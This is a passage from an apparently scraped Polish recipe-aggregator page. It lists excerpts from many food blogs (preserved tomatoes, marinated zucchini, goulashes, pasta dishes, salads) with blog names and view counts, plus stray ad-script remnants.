worka do pieczenia. Wlewamy jogurt naturalny. Olej, starte ząbki czosnku i pozostałe przyprawy również wrzucam do worka. Zawiązujemy i delikatnie potrząsamy, ab mięso dokładnie pokryło się w powstałym sosie. Odstawiamy na około godzinę do zamarynowania, jednak najlepiej na cała noc. Po tym czasie wkładamy do piekarnika nagrzanego do temp. 180-190C. Pieczemy około 40 min.  Przed podaniem posypujemy

Radość kipiąca uśmiechem.
PIECZONE POMIDORY W OLEJU. POMIDORY W SŁOIKU NA ZIMĘ. 193

szybkie, takie pomidory są rewelacyjne, nadają się do bardzo wielu dań. Oczywiście do wszelakich sałatek, do grzanki chleba z mozzarellą czy burratą, do makaronów, do dań obiadowych, do sosów, czy jako przekąska do chleba na imprezę. Są rewelacyjne w smaku. Pomidory o tej porze roku smakują najlepiej są słodziutkie i aromatyczne. Ja do pieczenia wybieram pomidory takie czerwono-czarne

SMYKWKUCHNI
Cukinia marynowana z papryką do słoików 134

cukinie we własnym ogrodzie mam jej pod dostatkiem przez całe lato. To warzywo rośnie tak szybko, że na bieżąco trudno je przerobić. Z cukinii robię pyszne leczo, placki czy sosy do makaronów. Jednak z tego, co nie zjemy na bieżąco robię różne przetwory na zimę. Do naszych ulubionych należy sałatka z cukinii w kurkumie . Dzisiaj zrobiłam cukinie marynowaną z papryką

Danka Pichci
Domowe suszone pomidory 137

Domowe suszone pomidory Suszone pomidory z ziołami w zalewie oliwnej. Pyszny dodatek do sałatek, dań i sosów. Pomidory najlepiej jest suszyć w suszarce do warzyw, gdyż jest to dużo łatwiejsze i mniej problemowe niż w piekarniku.     Składniki: ok 2,5kg pomidorów (użyłam odmiany Lima) świeże zioła typu bazylia, oregano, tymianek, rozmaryn kilka ząbków czosnku 2-3 łyżki soli

Blog z Apetytem
Gotowanie w stylu Ambition – na jakie produkty tej marki postawić, wyposażając swoją kuchnię? 189

przyjaciół. Przeważającą większość z nich wykonano ze stali nierdzewnej. W niektórych kompletach oprócz standardowych łyżek, widelców i noży znajdziesz również wiele dodatkowych elementów, takich jak łyżki wazowe, nalewki do sosów, łopatki do ciasta czy szczypczyki do kostek cukru. Cena takich zestawów wynosi najczęściej od kilkudziesięciu (za podstawowy komplet) do około 400 złotych. Czajnik Ambition – powiew nowoczesności w tradycyjnym wydaniu Zmęczony

FoodMagazine.pl - Przepisy kulinarne
FARSZYNKI MARCHEWKOWE Z AKSAMITNYM FARSZEM 125

marchewka. Inne tu na blogu bezmięsne dania, które warto spróbować:   KOTLETY JAJECZNE Z PAPRYKĄ     ZIEMNIACZANE Z GROSZKIEM CUKROWYM     SAJGONKI Z WARZYWAMI I GOTOWYM SOSEM     PLACKI Z SELERA Z TZATZIKI I OLIWKAMI     DYNIA Z WARZYWAMI I KOZIM SEREM     GOŁĄBKI WEGETARIAŃSKIE Z PAK CHOI     STEKI Z KALAFIORA Z TZATZIKI

globuskulinarny
Orientalny gulasz z ryżem 213

Aromatyczny gulasz z orientalnym smaczkiem Składniki biodrówka 1/2 kg pieczarki 30 dkg papryka czerwona 1/2 szt grzyby mun 1 garść cebula 1 szt czosnek 3 ząbki sos chili-czosnkowy 1 łyżka … Czytaj dalej Orientalny gulasz z ryżem

czarrna od kuchni
Chińskie z zielonym makaronem 284

Składniki 1 filet z kurczaka 1 czerwona papryka 1 garść grzybów mun 1/4 główki białej kapusty 150 g makaronu ryżowego 1/2 łyżki mąki ziemniaczanej 1 papryczka chili 1 łyżka sosu … Czytaj dalej Chińskie z zielonym makaronem

czarrna od kuchni
Surówka z marchewki z ajwarem 143

oczywiście chili. Przepis na nią znajdziecie na blogu. Stanowi świetny dodatek do mięs, szczególnie tych grillowanych. Jest też ciekawym pomysł na przyprawę do dań. Niewielki jej dodatek do surówek, sosów, zup sprawia, że zyskują nową odsłonę. Dziś zapraszam was do wypróbowania tego przepisu na szybką surówkę do obiadu, taką raz dwa trzy na ostatnia chwilę. PRZEPIS NA SURÓWKĘ Z MARCHEWKI

Dorota Smakuje
makaron z warzywami 189

sosiku Z warzywami dorzucamy ugotowany makaron. Dla dorosłych doprawiamy solą pieprzem i cukrem. Można przepis smialo modyfikować dodając np serek naturalny do smarowania, czy zamiast soli 2-3 łyżki sosu sojowego

Pasja tworzenia
Ketchup z papryki i pomidorów 146

drobne sitko, dzięki temu ketchup będzie miał gładką konsystencję. Masę ponownie przelać do garnka i postawić na ogień. Wlać ocet i olej, gotować bez przykrycia przez 30 minut, aż sos zgęstnieje. Często mieszać. Gorący keczup z papryki i pomidorów przełożyć do wyparzonych słoiczków i zakręcić. Postawić na ściereczce, zakrętką do dołu. Pozostawić do wystygnięcia. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Ketchup

niecodziennikpary
Pizza bezglutenowa z figami i szynką parmeńską 145

ciasto i na już lekko podpieczone nakładać nadzienie. Jeśli chodzi o nadzienie to wszystko zależy od nas. Ja ostatnio skusiłam się na połączenie szynki z figami. Dodatkowo nie użyłam sosu pomidorowego a sięgnęłam po serek mascarpone. Serek wyśmienicie łączył się zarówno z szynką parmeńską jak i z figami. Znajdziesz mnie na Instagram:  mecooksblog  oraz Facebook:  MeCooks Pizza

MeCooks
Sałatka z pieczonych pomidorów i halloumi / Roasted tomato and halloumi salad 170

łyżki miodu 1 ząbek czosnku sól Ocet balsamiczny wlej do wysokiego naczynia. Dodaj musztardę, czosnek i miód. Zblenduj a następnie wlewaj po odrobinie oliwy, cały czas miksując. Gdy sos zgęstnieje dopraw go solą. Pomidory pokrój w grube plastry, około 1,5 cm. Halloumi na grubość 0,5 cm. Pomidory obsmaż na patelni na dużym płomieniu, przełóż na blaszkę, dopraw solą

Delicious Place
Polędwiczka w sosie porowym 135

Chciałabym podzielić się z Wami moim ostatnim daniem. Delikatna polędwiczka w sosie porowym jest po prostu pyszna. SKŁADNIKI: 1 polędwiczka wieprzowa  biały kawałek pora(około 10cm) śmietana 30% 2 ząbki czosnku łyżeczka musztardy łyżka klarowanego masła sól,grubo mielony pieprz WYKONANIE: polędwiczkę pokroić w 2cm paski,lekko rozgnieść, masło roztopić na patelni, polędwiczki usmażyć z każdej strony po około

Kuchnia Beaty
Filet z ćwiartki kurczaka w sosie pieczarkowym 114

ofiletować ćwiartkę kurczaka, ja jej nie mam jak coś 😀 Jedzenie proste, proste do zrobienia, ale bardzo smaczne! Dlatego też dzielę się z Wami [...] Artykuł Filet z ćwiartki kurczaka w sosie pieczarkowym pochodzi z serwisu Pieprzyć z fantazją

Pieprzyć z Fantazją
Pieczone placki ziemniaczane z sosem czosnkowym 138

jednego za dużo, tak mam. A może odchudzimy trochę placki i je upieczemy? Są tak samo dobre a tłuszczu mniej, znacznie mniej. Polecam zatem placki pieczone z ulubionym sosem, u mnie czosnkowy. Placki ziemniaczane. CZYTAJ DALEJ

Moje Małe Czarowanie
Mleko z nerkowców 129

niż 2 dni w lodówce, w zamkniętej szklanej butelce. Do czego jeszcze często używam nerkowców? Kręcę m.in. własne wegańskie pesto bazyliowe , wegańskie tiramisu , robię wspaniały makaron z brokułami , w sosie z dzisiejszego mleka i wiele, wiele więcej. Jesteś wzrokowcem? Zobacz jak przygotowuję mleko z nerkowców Artykuł Mleko z nerkowców pochodzi z serwisu Blendman.pl - wegańskie przepisy

Blendman
KROKIETY PIECZARKOWO – CEBULOWE 127

tego pyszny domowy barszczyk i pyszny obiad gwarantowany. INNE PYSZNE PRZEPISY:   KOTLETY JAJECZNE Z PAPRYKĄ     ZIEMNIACZANE Z GROSZKIEM CUKROWYM     SAJGONKI Z WARZYWAMI I GOTOWYM SOSEM     PLACKI Z SELERA Z TZATZIKI I OLIWKAMI     DYNIA Z WARZYWAMI I KOZIM SEREM     GOŁĄBKI WEGETARIAŃSKIE Z PAK CHOI     STEKI Z KALAFIORA

globuskulinarny
Keftedes. Aromatyczne greckie klopsiki 122

wodzie z solą. Ze względu na swój duży rozmiar, są idealne do faszerowania. Oliwa z oliwek . Nie wracam z Grecji bez solidnego zapasu wyśmienitej oliwy z oliwek. Sałatki i sosy z jej dodatkiem nie mają sobie równych. W każdym greckim sklepie czy na targu znajdziecie multum butelek z oliwą. Większość z nich została zrobiona z odmiany Koroneiki bądź z mieszanek

Na-talerzu.pl
Pyszny przecier z dyni na zimę 138

jednym i drugim przypadku otrzymujemy pełne aromatu i smaku puree z dyni, które możemy wszechstronnie wykorzystać. Świetnie uzupełni lub dopełni smak ciast, deserów. Doskonałe także jako baza do sosów czy też dodatek do farszów. A Wy w jakiej postaci lubicie to jesienne warzywo? Dynia pieczona, zupa krem z dyni, placki z dyni, a może ciasto z dyni? Zapraszamy, podzielcie się

Kuchnia Na Wypasie
Sałatka z kurczaka i melona 140

łyżką do owoców. W kubeczku wymieszać oliwę z sokiem z cytryny, miodem, solą i pieprzem. Na półmisku do serwowania ułożyć rukolę, plastry kurczaka oraz kulki melona. Skropić po wierchu sosem z kubka. Sałatka z kurczaka i melona Warto wiedzieć robiąc sałatkę z kurczaka i melona. Melon, którego użyjemy do sałatki powinien być bardzo dobrze dojrzały. Taki melon będzie bardzo słodki

MeCooks
Focaccia z pomidorami 123

podaję przepis na focaccię na drożdżowym cieście, ale w planach mam też focaccię na zakwasie...  Polecam również przepisy na pizzę   Ciasto na pizzę Pizza bianca z białym sosem  Pizza z gruszką i szynką dojrzewającą Pizza tonno e cipolla - z tuńczykiem i cebulą   Focaccia z pomidorami Składniki: 150ml wody 280g mąki (dałam typ 650) 5g świeżych drożdży

Obiad gotowy
„PIZZA” CAPRESE Z NAWODNIONEJ TAPIOKI – pomysł na bezglutenową kolację! 134

Włoch! Z nawodnionej tapioki Koala przygotowałam takie można powiedzieć blaty „oszukane blaty do pizzy” i zapiekłam z dodatkiem soczystych malinowych pomidorów i ciągnącej mozzarelli. Podałam z 2 sosami! Danie lekkie i pyszne! Idealne na kolację albo np. lekki obiad – spróbujcie i Wy! Ps. Tak jak mówiłam ostatnio Nawodniona Tapioka Kola jest produktem: * bezglutenowym * wegańskim * 100% naturalnym * hipoalergicznym

Ostra na Słodko
Sałatka z kaszy i tofu 259

Składniki: 150 g ugotowanej kaszy gryczanej 1/2 kostki wędzonego tofu, ok. 80 g 1/2 czerwonej papryki 1/2 małej cukinii 1/2 cebuli kilka różyczek brokuła sól, pieprz sos sojowy, u mnie … Czytaj dalej Sałatka z kaszy i tofu

czarrna od kuchni
Wegańskie curry z pieczonymi warzywami 185

curry, dorzucamy cieciorkę, zmniejszamy ogień na mały i pozwalamy się dusić wszystkim składnikom przez około 10-12 minut, do chwili wyciągnięcia warzyw z piekarnika.   Upieczone warzywa dodajemy do sosu curry na patelni, dodajemy razem z całym sokiem, olejem i przyprawami, które zostały po pieczeniu. Całość dokładnie, ale delikatnie mieszamy. Wlewamy mleczko kokosowe, delikatnie ale dokładnie rozprowadzamy i tylko doprowadzamy

Smaczna Strona
Spaghetti Bolognese z Pieczarkami 112

pokrojoną w kostkę marchewkę i przyprawione mięso. Wszystko razem dusimy przez kilkanaście minut. Do gotowego mięsa dodajemy passatę, koncentrat pomidorowy i dusimy pod przykryciem przez ok. 30 minut. Gotowy sos podajemy z makaronem do spaghetti i posypujemy natką pietruszki. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Spaghetti Bolognese z Pieczarkami pochodzi z serwisu Przepiski.pl

Przepiski.pl
Mamy bardzo dobry przepis na gulasz wieprzowy. Dużo aromatycznego sosu i mięciutkie mięso 1979

podaliśmy z kluskami ziemniaczanymi, kawałkiem świeżej papryki, krążkami cebuli i ogórkami małosolnymi. W takim zestawie był po prostu przepyszny. Artykuł Mamy bardzo dobry przepis na gulasz wieprzowy. Dużo aromatycznego sosu i mięciutkie mięso pochodzi z serwisu Kulinarna Polska | Gotowanie i jedzenie

Kulinarna Polska
Zrazy wieprzowe w sosie z ogórków kiszonych 130

Zrazy wieprzowe w sosie z ogórków kiszonych 6 kotletów wieprzowych (schab, szynka), 2 cebule, 1 – 2 ząbki czosnku, 4 – 5 ogórków kiszonych, 200 ml dobrego bulionu (może być wieprzowy, drobiowy), sól, cukier, listek laurowy, 2 ziarna ziela angielskiego, 4 ziarna pieprzu czarnego, masło klarowane lub masło i olej Cebule pokroić w cienkie półplasterki. Ogórki pokroić w niezbyt cienkie półplasterki. Kotlety

królestwo garów
KOTLETY JAJECZNE Z PAPRYKĄ 164

można je jeść na śniadanie, obiad, kolację i każdej innej porze dnia. INNE PRZEPISY NA KOLACJE:   ZIEMNIACZANE Z GROSZKIEM CUKROWYM     SAJGONKI Z WARZYWAMI I GOTOWYM SOSEM     PLACKI Z SELERA Z TZATZIKI I OLIWKAMI     DYNIA Z WARZYWAMI I KOZIM SEREM     GOŁĄBKI WEGETARIAŃSKIE Z PAK CHOI     STEKI Z KALAFIORA Z TZATZIKI

globuskulinarny
Miseczka curry z kurczakiem, 128

patelni rozgrzać olej, dodać pastę curry. Wymieszać i smażyć około 30 sek. Musicie poczuć zapach curry. Dodać kurczaka i smażyć aż kurczak straci kolor surowizny. Wlać sos sojowy, bulion, whisky, dodać galangal lub imbir, liście keffir, grzyby pokrojone w paski, gotować 5 minut. Wlać mleczko kokosowe, dodać pędy bambusa, fasolkę. Gotować kolejne kilka minut. Fasolka musi delikatnie zmięknąć

Kuchnia Pokoleń
Racuchy ziemniaczane z farszem mięsnym 141

Pyszne racuchy ziemniaczane z mięsnym farszem to prosty pomysł na smaczny i treściwy obiad. Wyśmienicie smakują podane z kwaśną śmietaną lub sosem czosnkowym. Podstawowe składniki,szybkie w przygotowaniu sycące danie :). (adsbygoogle = window.adsbygoogle || []).push({}); Składniki na masę ziemniaczaną: 3 duże ziemniaki 4 pełniejsze łyżki mąki pszennej 4 pełniejsze łyżki mąki ziemniaczanej 3 jajka 1/2 szklanki mleka sól, pieprz, olej do smażenia

Blog kulinarny S9.PL
Gulasz z indyka z płatkami papryki 128

Gulasz z indyka z płatkami papryki to świetna propozycja na pyszny oraz przy okazji niezbyt skomplikowany obiad, który posmakuje każdemu. Aromatyczny sos z dodatkiem płatków papryki idealnie otula mięciutkie mięso. Koniecznie spróbujcie tego pysznego połączenia. Polecam! Gulasz z indyka z płatkami papryki - składniki: około 500g mięsa z indyka (można użyć dowolnego, w tym wieprzowego) papryka słodka (u mnie słodka wędzona

Di gotuje
Pieczone pomidory na zimę 183

Pyszne, pieczone pomidory, idealne na zimową, pomidorową zupę lub sosy. Lato zamknięte w słoiku

Stare Gary
Szaszłyki z boczkiem, porem i papryką 129

nadziej naprzemiennie na patyczki do szaszłyków. Ułóż na blasze wyłożonej papierem do pieczenia. Wstaw do nagrzanego piekarnika. Piecz przez 40 minut w 170 stopniach. Uwagi: Do szaszłyków podaj koniecznie sos czosnkowy, tzatziki albo tradycyjnie ketchup. Instagram Oznacz @prostepesto i dodaj hashtag #prostepesto Facebook Polub nas na Facebooku i dodaj hashtag #prostepesto .wp-block-wpzoom-recipe-card-block-recipe-card.is-style-default .recipe-card-image .wpzoom-recipe-card

ProstePesto.pl
Pasta z papryki, pasta paprykowa z czosnkiem i chili. 232

gotować całość dłużej. Moim zdaniem, gotujcie masę tak długo, aż będzie mieć odpowiadającą wam konsystencję. Ja część zapakowałam do słoików wcześniej i mam rzadszą masę – do wykorzystania jako sos. Część bardziej zredukowałam i będę stosować do kanapek jako pastę. Drukuj Pasta z papryki z czosnkiem i chili Pyszna pasta paprykowa idealna do kanapek czy makaronu. Składniki 5 kg papryki

Mieszam w Garnku
Imprezowe roladki z tortilli 290

wiem jak Wy, ale ja uwielbiam takie przekąski z warzywami, kiełbasą i serem. A tortilla jest doskonała do ich przygotowania. Imprezowe roladki z tortilli wspaniale smakują w towarzystwie domowego sosu czosnkowego. Można je też wzbogacić o kawałki kiszonego ogórka. Koniecznie spróbujcie, bo są naprawdę pyszne. A jeśli szukacie innych pomysłów na wykorzystanie tortilli, to polecam Wam np. krokiety z tortilli

Słodkie okruszki
Makaron w sosie z kurkami i cukinią 169

Jesienna patelnia pachnąca lasem a dokładnie kurkami. Makaron podałam w pysznym sosie grzybowym z paskami cukinii. Coś pysznego i delikatnego. Nie oderwiecie się od patelni. 200 g makaronu wstążki szerokie 1 cukinia mała 6 pomidorków koktajlowych 250 g kurek 200 g śmietany 18 % ukwaszonej do zup masło klarowane 1 cebula natka pietruszki sól, pieprz czarny i czerwony 250 ml mleka

wesoła kuchnia
Ulubione przepisy z awokado 190

tego przepisu wykorzystałam surowe brokuły. Ten dip to istny superfood! Awokado można również grillować. Neutralne w smaku pasuje z większością produktów spożywczych. Osobiście uwielbiam je jeść z halloumi i sosem słodko – kwaśnym . Przepyszna kompozycja bez mięsa, pożywna i zdrowa. Jestem bardzo ciekawa jakie są Wasze ulubione przepisy z awokado? Macie swój sposób jedzenia awokado?   The post Ulubione przepisy

codojedzenia
Sałatka z sorgo i brokułem – łatwa 145

SORGO I BROKUŁEM Składniki: 0,5 szkl sorgo suchego ziarna 1 mały brokuł 1 puszka kukurydzy 1 puszka fasoli czerwonej 3 łyżki majonezu 1 łyżka ketchupu 2 łyżki słodkiego sosu chili sól Jak zrobić sałatka z sorgo i brokułem: Najpierw sorgo wsypujemy do miski, zalewamy wodą z kranu i zostawiamy na godzinę do namoczenia. Następnie sorgo mieszamy, odcedzamy na sicie

Dorota Smakuje
Wytrawne gofry z szynką, papryką i kukurydzą 172

wymieszaj szpatułką z pozostałymi przygotowanymi składnikami i odstaw na bok na 15 minut. Wylewaj porcje ciasta na rozgrzaną wcześniej gofrownicę, przesmarowaną olejem rzepakowym. Uwagi: Gofry serwuj z ulubioną salsą, sosem czosnkowym lub tzatziki. Instagram Oznacz @prostepesto i dodaj hashtag #prostepesto Facebook Polub nas na Facebooku i dodaj hashtag #prostepesto .wp-block-wpzoom-recipe-card-block-recipe-card.is-style-default .recipe-card-image .wpzoom-recipe-card-print-link

ProstePesto.pl
Filety z kurczaka na słodko z porem i jabłkiem 156

jabłko  Marynata :  1 łyżka Przyprawy Gyros Skworcu  1 łyżka Papryki mielonej Skworcu  1 łyżeczka czosnku mielonego Skworcu 1/2 łyżeczki soli Skworcu  2 łyżki Sosu Sojowego  1 łyżeczka miodu  Przygotowanie:  Filety myjemy. Kroimy wzdłuż  Składniki marynaty łączymy ze sobą, nacieramy mięso i przekładamy do lodówki na ok godzinę.  Jabłko obieramy

Gotowanie Patki
Domowe pesto bazyliowe 121

Domowe pesto bazyliowe Pyszne, aromatyczne i zdrowe! Takie właśnie jest domowe pesto bazyliowe, które możesz dodać do makaronu, sosu do sałatki lub do każdego innego dania.   Składniki: - liście bazylii - oliwa - orzechy włoskie - pomidory suszone - sól i pieprz Ile? W zależności od tego ile pesto chcesz uzyskać! Pamiętaj, aby pesto było w miarę gęste, zatem nie dodawaj zbyt dużo oliwy

MintTaste
Pomidory zapiekane pod ciasteczkami z cheddarem 139

Końcówka sierpnia to czas kiedy zajadam pomidory od rana do wieczora. Kupuję je na kilogramy, zajadam w sałatkach, zapiekankach a nadwyżki zwykle przerabiam na sos pomidorowy . W zeszłym roku wpadłam na przepis na zapiekane pomidory pod ciasteczkami z cheddarem – i to był zdecydowanie mój faworyt na przerabianie nadwyżek pomidorów. Robiłam je wielokrotnie, ale nigdy nie udało się zrobić zdjęcia

Cooking for Emily
Spaghetti z krewetkami 142

łyżkę natki, dopraw solą i sokiem z cytryny. 4. Odstawioną wodą po gotowaniu makaronu zalej podsmażone składniki. 5. Na patelnię dodaj makaron, dopraw solą, pieprzem i wymieszaj z powstałym sosem. 6. Po wyłożeniu dania na talerz posyp łyżką świeżej natki pietruszki

Z notatnika dietetyka
MAKARON ZE SZPINAKIEM I PARMEZANEM 130

podsmażany na maśle klarowanym. Dodajemy umyty i osuszony szpinak i smażymy,aż zwiędnie. Wlewamy śmietankę,dodajemy sól,pieprz oraz przeciśnięty przez praske czosnek Gotujemy ok 1 minuty. Jeśli sos jest za gęsty dolewamy niewielką ilość wody przegotowanej. Pod koniec dodajemy ugotowany makaron i starty parmezan . Mieszamy i obiad gotowy

Niespełnione zdolności kulinarne
Placki z cukinii z wędzonym boczkiem 129

łyżki ciasta i formujemy niewielkie placki. Wolno smażymy na złoty kolor z obu stron. Ważna uwaga: placki obracamy za pomocą łopatki, ponieważ ciasto jest dość delikatne. 5. Podajemy z sosem czosnkowym lub innym ulubionym. Smacznego!   Artykuł Placki z cukinii z wędzonym boczkiem pochodzi z serwisu Kuchnia na Wypasie

Kuchnia Na Wypasie
Pełnoziarnista tarta z cukinią i serem kozim 195

lubię cukinię. To mega wdzięczne warzywo, które chętnie poddaje się moim eksperymentom 😉 Przygotowuję z niej placki , klasyk mojego dzieciństwa, czyli leczo , faszeruję ją i zapiekam albo dodaję do lekkich sosów i podaję z makaronem . Cukinia jest lekkostrawna i niskokaloryczna – w 100 g znajdziemy zaledwie 17 kcal! Oprócz tego cukinia zawiera magnez, żelazo, potas oraz witaminy

Na-talerzu.pl
Makaron z korzeniem chrzanu 126

oliwek 1 ząbek czosnku opcjonalne dodatki: pikantne chorizo PRZYGOTOWANIE: Makaron ugotuj zgodnie z przepisem na opakowaniu. Pod koniec gotowania odlej pół szklanki wody z gotowania makaronu, przyda się do sosu. Posypka (pangrattato): na patelni rozgrzej 4 łyżki oliwy z oliwek. Dodaj na patelnię bułkę tartą, drobno starty chrzan, płatki chilli i sporą szczyptę soli. Podsmażaj aż bułka zacznie nieco brązowieć

nietylkopasta.pl
Passata pomidorowa 127

prostu, są wspaniałe na przetwory zimowe. Moje przetwory robię  z pomidorów Lima, niektórzy mówią o nich "paprykowe". Przygotowałam z nich dzisiaj passatę. Można ją wykorzystać na zupę, sos czy rozcięczyć, aby otrzymać pyszny sok. SKŁADNIKI: 5 kg dojrzałych pomidorów polnych sół, pieprz, cukier (niekoniecznie) do smaku 5 ząbków czosnku WYKONANIE: pomidory dokładnie umyć, sparzyć wrzątkiem, obrać ze skóry, pokroić

Kuchnia Beaty
Cukinia z soczewicą i jajkiem w kokilkach 124

mielonym czarnym pieprzem, bazylią i oregano i delikatnie mieszamy. 2.        Cukinię kroimy w plastry. W kokilkach układamy na przemian warstwę plastrów cukinii i sos z soczewicą, tak aby ostatnią warstwą były plastry cukinii. Tak przygotowane zapiekanki wstawiamy do piekarnika nagrzanego do temperatury 170 stopni i pieczemy 10 minut, następnie do każdej kokilki wbijamy

Na kulinarnym poligonie
Omlet z kiełbasą, pomidorami i oliwkami 128

zsuwamy go ponownie na patelnię i smażymy aż całość się zetnie. Po usmażeniu przekładamy na talerz dekorujemy natką pietruszki albo listkami świeżej bazylii i podajemy np. z keczupem lub sosem pomidorowym. *omlet możemy też przygotować na patelni żeliwnej, którą można wstawić do piekarnika, wówczas omlet wstawiamy do piekarnika i pieczemy aż masa jajeczna zetnie się równomiernie, bez potrzeby przewracania

Na kulinarnym poligonie
Śledzie po kaszubsku 137

potłuczone goździki, można dodać również łyżeczkę cynamonu – i chwilę podsmażamy. 2.       Śledzie kroimy na małe kawałki i układamy je w naczyniu warstwami, każdą warstwę smarujemy sosem. Tak przygotowane śledzie wkładamy do lodówki na kilka godzin, żeby „się przegryzły”. Smacznego

Na kulinarnym poligonie
Deser serowy z musem owocowym i karmelizowanymi płatkami owsianymi 136

dekoracji Sposób przygotowania: 1.   W garnuszku rozpuszczamy masło i dodajemy do niego 2 łyżki miodu. Następnie wrzucamy płatki owsiane i mieszamy. Gdy płatki   będą już oblepione sosem maślano-miodowym przekładamy je na blachę wyłożoną papierem do pieczenia i wstawiamy do piekarnika nagrzanego do temperatury 90 stopni i pieczemy około 5-7 minut aż płatki będą rumiane, po czym

Na kulinarnym poligonie
Sałatka z kaszy bulgur z borówkami, smażonymi pomidorkami i dressingiem miętowym 152

kolorowa sałatka, której podstawę stanowi kasza bulgur, a w niej przepyszne, słodkie borówki wspaniale komponujące się ze słoną fetą, ogórkiem i smażonymi pomidorkami oprószonymi aromatycznymi ziołami. Do tego dodałam sos na bazie mięty z dodatkiem octu winnego i świeżo mielonego czarnego pieprzu.  Zachęcam do jej wypróbowania. Sałatka z kaszy bulgur z borówkami, smażonymi pomidorkami i dressingiem miętowym Składniki

Na kulinarnym poligonie
Sałatka z makaronu z pesto z rukoli z suszonymi pomidorami i orzechami 144

Makaron, makaron, makaron.... uniwersalny, pyszny, dobry na każdą okazję. Może być na ciepło albo na zimno, z sosem albo w jedynej dopuszczalnej przez mojego Niejadka wersji - czyli bez niczego (no dobra, jeszcze jako dodatek do zupy pomidorowej też u nas przejdzie :) Dziś przedstawiam Wam pyszne i sycące danie z makaronem w roli głównej, które pasuje na każdą okazję, czyli sałatka

Na kulinarnym poligonie
Pieczone polędwiczki wieprzowe – niezawodny przepis 342

polędwiczki wieprzowej 1½ łyżeczki wędzonej papryki 1½ łyżeczki suszonego lubczyku 1 łyżeczka słodkiej papryki 1½ łyżeczki suszonych pomidorów ½ łyżeczki oregano ½ łyżeczki tymianku ½ łyżeczki suszonej natki pietruszki 3 łyżeczki sosu Worcestershire 2-3 ząbki czosnku 4-5 łyżek oleju słonecznikowego sól, pieprz Kroki Polędwiczki dokładnie oczyść z błonek i żyłek. Przygotuj marynatę – wszystkie zioła i przyprawy wymieszaj

Na-talerzu.pl
Pasta z awokado i tuńczyka – fit przepis 163

sałatka z tuńczykiem, tuńczyk, zdrowe przekąski Czas przygotowania 10 min. Całkowity czas przygotowania 10 min. Autor Agnieszka | na-talerzu.pl Składniki 1 duże awokado 2 puszki tuńczyka (u mnie jedna w sosie własnym, druga w oliwie z oliwek) ½ czerwonej cebuli 1 ogórek lub 2 łodygi selera naciowego 3 łyżki jogurtu naturalnego 1 łyżka musztardy Dijon ½ łyżeczki płatków chilli 1 garść natki pietruszki

Na-talerzu.pl
Łosoś z ryżem kalafiorowym z cukinią 153

burgerach czy zupie, tylko potrzebują odpowiedniej prezentacji. Czyli w wypadku tej ryby – najprostszej. Łosoś był tak dobrej jakości, że aż szkoda było mi go marynować czy zatapiać w sosach. Postanowiłam więc dać pierwszeństwo smakowi samej ryby. Łososia oczyściłam z dosłownie kilku małych ości, które wypatrzyłam, skropiłam go sokiem z cytryny i lekko posoliłam. I tyle. Gdy mamy do czynienia

Na-talerzu.pl
Puszyste racuchy z jabłkiem na maślance 134

brakuje im do mistrzowskich racuchów Babci. Puszyste racuchy z jabłkiem na maślance to cudowne, proste i pyszne danie. Widziałam już z różne wersje podania racuchów np. z kwaśną śmietaną, sosem waniliowym lub dżemem. Mnie najlepiej smakują racuchy posypane tylko cukrem pudrem. Artykuł Puszyste racuchy z jabłkiem na maślance pochodzi z serwisu Gotujemy w domu - blog kulinarny

Gotujemywdomu.pl
Cynamonki (bułeczki cynamonowe) 137

Ostatnia faza ich wyrastania następuje w lodówce, co oznacza, że rano przekładamy je bezpośrednio z lodówki do piekarnika i po 10 minutach cynamonki są gotowe! Czasem przygotowuję do nich sos z mascarpone albo serka Philadelphia, wtedy smakują jak słodkości z Cinnabon. Najczęściej jednak jemy je same, wyjęte bezpośrednio z piekarnika, z filiżanką cipełego cappuccino

Chleby Rolfa
Nadziewane muszle mięsem mielonym i warzywami. 105

Kolejna weekendowa propozycja, tym razem muszle makaronowe nadziewane farszem mięsno-warzywnym. Makaron nadziewany pysznym sosem z dodatkiem warzyw, roztopioną mozzarellą i świeżą bazylią. Doskonała propozycja na romantyczną kolację lub niedzielny obiad. (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Nadziewane muszle mięsem mielonym i warzywami. Składniki ½ kg mięsa mielonego wieprzowego 3 pomidory (w sezonie) lub 300 ml pomidorów z kartonu 1 czerwona papryka

To co lubię - gotuję i polecam
Indyjski chlebek naan 136

Naan to płaski chleb używany głównie w kuchni indyjskiej jako dodatek do dań na bazie sosów. Oryginalnie piecze się go w piecu tandoor, ale dla potrzeb domowych świetnie sprawdzi się zwykła patelnia. Piekę naan zawsze, kiedy przygotowuję wszelkiego rodzaju curry oraz do porannej szakszuki. Nie ma bardziej rozgrzewającego śniadania niż szakszuka, naan i filiżanka kawy! W poniższym przepisie używam wody

Chleby Rolfa
Surówka z kapusty pekińskiej 128

piórka, marchew ścieramy na tarce duże oczka, jabłko dokładnie szorujemy i również ścieramy na dużych oczkach. Dodajemy kukurydzę, sól, pieprz do smaku i dokładnie mieszamy. Majonez łączymy ze śmietaną, sosem polewamy surówkę i dokładnie mieszamy. Artykuł Surówka z kapusty pekińskiej pochodzi z serwisu To co lubię gotuję

To co lubię - gotuję i polecam
Sałatka z marchewką i tuńczykiem 152

się również ładnie prezentowała na Wielkanocnym stole. Jest delikatna w smaku i szybka w przygotowaniu. (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Sałatka z marchewką i tuńczykiem Składniki 1 puszka tuńczyka w sosie własnym 1 mały majonez 170 ml 3 średnie marchewki 2 średnie cebule 1 duży pęczek natki pietruszki 4 jajka sól, pieprz Instrukcje Marchewkę ugotować do miękkości, cebulę pokroić w drobną

To co lubię - gotuję i polecam
Kopytka 127

Kopytka: z sosem, z cebulką i boczkiem, podsmażane. Każdy z nas ma swoje ulubione. Dawno ich nie robiłam dlatego dzisiaj zapraszam. (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Kopytka Składniki 1 kg ugotowanych ziemniaków 2 i ½ szklanki mąki pszennej ½ szklanki mąki ziemniaczanej szczypta soli 2 jajka Instrukcje Ziemniaki gotujemy, odcedzamy i jeszcze ciepłe przeciskamy przez praskę lub mielimy w maszynce do mięsa. Przestudzone

To co lubię - gotuję i polecam
Jajka faszerowane tuńczykiem i kaparami 132

